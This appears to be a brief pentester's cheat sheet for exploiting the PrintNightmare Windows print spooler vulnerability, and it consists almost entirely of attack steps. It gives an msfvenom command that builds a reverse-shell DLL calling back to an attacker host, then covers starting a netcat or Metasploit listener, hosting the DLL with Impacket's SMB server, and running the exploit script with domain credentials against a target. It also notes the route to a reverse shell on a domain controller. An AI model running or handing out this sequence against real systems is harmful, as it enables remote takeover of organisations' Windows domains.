PrintNightmare

Remote Code Execution

https://github.com/cube0x0/CVE-2021-1675

Contains full details on scanning and mitigation. Could potentially be used against a domain controller for easy access to a reverse shell.

Create Payload

msfvenom -p <payload> LHOST=<kali-ip> LPORT=<port> -f dll -o file.dll

Start a Listener

Could be netcat or metasploit multi-handler

Host the DLL Over SMB

The Kali Linux developers have created a series of wrappers around Impacket scripts. In this case, you can easily invoke smbserver.py by running impacket-smbserver

sudo smbserver.py -smb2support share $PWD

sudo impacket-smbserver -smb2support share $PWD

impacket-smbserver wrapper on Kali Linux

Run the Exploit

exploit.py domain/user:password@target-ip-address 'malicious.dll'